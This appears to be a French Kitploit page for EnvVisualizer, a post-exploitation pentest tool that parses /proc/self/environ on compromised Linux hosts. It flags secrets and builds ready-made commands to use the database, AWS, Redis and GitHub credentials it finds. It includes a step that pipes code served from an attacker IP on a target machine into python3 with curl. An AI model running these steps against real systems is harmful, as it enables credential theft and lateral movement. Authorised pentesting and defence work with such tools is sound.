Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !
EnvVisualizer — Analyse et visualise /proc/self/environ sur des machines Linux compromises — catégorise les variables d'environnement par stack technique (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) et génère des informations classées par gravité avec des commandes prêtes à exécuter | Kitploit
Analyse et visualise /proc/self/environ sur des machines Linux compromises — catégorise les variables d'environnement par stack technique (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) et génère des informations classées par gravité avec des commandes prêtes à exécuter
Analysez, catégorisez et visualisez /proc/self/environ sur des machines Linux compromises.
Transformez un mur de texte fusionné de variables d'environnement en renseignements structurés et codés par couleur — en quelques secondes.
Avec rich installé, chaque catégorie dispose de son propre tableau codé par couleur.
Fonctionnalités
Trois modes d'entrée — lecture directe du fichier (précision parfaite), pipe via stdin, ou collage d'une chaîne brute
Analyseur intelligent à deux classes — gère correctement les chaînes concaténées où les octets nuls ont été supprimés par copier-coller ; détecte les variables POSIX en majuscules et les variables connues à préfixe minuscule (npm_*, node_*, pip_*, etc.)
Six catégories sémantiques — Sécurité/Auth, Identité, Chemins & Répertoires, NPM/Node, Réseau/Proxy, Système, et Autre
Expansion du PATH — chaque répertoire listé comme puce au lieu d'un mur séparé par des deux-points
Détection de secrets — signale les variables dont les noms ou valeurs correspondent à des motifs d'identifiants (TOKEN, KEY, SECRET, PASSWORD, etc.) avec un avertissement ⚠
Panneau Pentest Insights — fait remonter automatiquement les découvertes exploitables : contexte root, escalade sudo, ports du débogueur Node.js exposés, scripts de cycle de vie actifs
Rich ou plain — tableaux codés par couleur avec rich installé ; sortie texte propre en repli (aucune dépendance requise)
Installation
Option 1 — Cloner et exécuter (recommandé pour les environnements de pentest)
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
Option 2 — Installer comme commande système
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
Option 3 — Fichier unique (git non requis)
Copiez envvisualizer.py sur la machine cible ou attaquante. Il s'exécute sans aucune dépendance :
root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
Prérequis
Dépendance
Version
Requis
Python
≥ 3.8
Oui
rich
≥ 13.0
Non (repli en texte brut)
Utilisation
root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
Modes d'entrée
Méthode
Commande
Précision
Lecture directe du fichier
python3 envvisualizer.py -f /proc/self/environ
✅ Parfaite (découpage sur octet nul)
Pipe stdin
cat /proc/self/environ | python3 envvisualizer.py
✅ Parfaite (découpage sur octet nul)
Chaîne collée
python3 envvisualizer.py -r 'USER=dev...'
✅ Bonne (heuristique à deux classes)
Sans argument (démo)
python3 envvisualizer.py
✅ Parfaite (processus propre)
Astuce : Préférez -f dès que vous avez accès au fichier.
Le délimiteur d'octet nul dans le fichier réel est exact — aucune heuristique nécessaire.
Exemples
Lecture directe depuis proc (meilleure précision)
root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
Pipe via stdin
root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py
Coller une chaîne brute (copiée depuis un web shell / une sortie RCE)
Le panneau Pentest Insights déclenche des détections ciblées et adaptées à la stack avec quatre niveaux de gravité.
Des commandes prêtes à l'emploi sont générées à la volée à partir des valeurs réelles trouvées dans l'environnement.
Gravité
Préfixe
Signification
💀 CRITICAL
[!!!]
Identifiant actif, clé secrète ou clé maîtresse — impact immédiat
⚠ HIGH
[!! ]
Jeton, mode debug ou service exposé — chemin d'attaque exploitable
→ MEDIUM
[! ]
Information intéressante pouvant faciliter l'escalade
▶ INFO
[ * ]
Contexte général sur le processus et l'environnement
Détections par stack technique
Stack
Ce qui est détecté
PostgreSQL
PGPASSWORD → construit automatiquement psql postgresql://user:pass@host/db
MySQL / MariaDB
MYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → construit automatiquement la commande mysql
MongoDB
MONGO_INITDB_ROOT_* → construit automatiquement la commande mongosh
Redis
REDIS_PASSWORD → construit automatiquement la commande redis-cli -a
URLs de BD
DATABASE_URL, MONGODB_URI, etc. → signale les identifiants intégrés
AWS
Paire de clés → signale comme long terme ou STS temporaire, suggère aws sts get-caller-identity
KUBERNETES_SERVICE_HOST injecté → signale le contexte de pod, suggère la lecture du jeton SA
Docker
DOCKER_HOST défini → signale l'exposition du démon
GitHub / GitLab
Jetons → suggère des commandes curl de validation d'API
Heroku
HEROKU_API_KEY → signale avec le nom de l'application
Stripe
sk_live_* en production → CRITICAL ; sk_test_* → MEDIUM
Exemple de sortie (scénario multi-stack)
root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
Fonctionnement de l'analyseur de chaînes
Lorsque /proc/self/environ est copié-collé (par exemple, depuis un web shell ou une sortie curl), les octets nuls sont supprimés, fusionnant les variables adjacentes :
root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
Un découpage naïf sur WORD= produirait devnpm_config_user_agent comme clé.
EnvVisualizer utilise un détecteur de frontière à deux classes qui ne découpe que sur :
Clés à dominante majuscule — USER, HOME, JOURNAL_STREAM, etc.
Comme l'expression régulière trouve npm_config_user_agentà l'intérieur du jeton fusionné, la valeur précédente est automatiquement réduite à dev. Pas de lookbehind, pas d'hypothèses sur les limites de mots — juste le motif de clé lui-même comme ancre.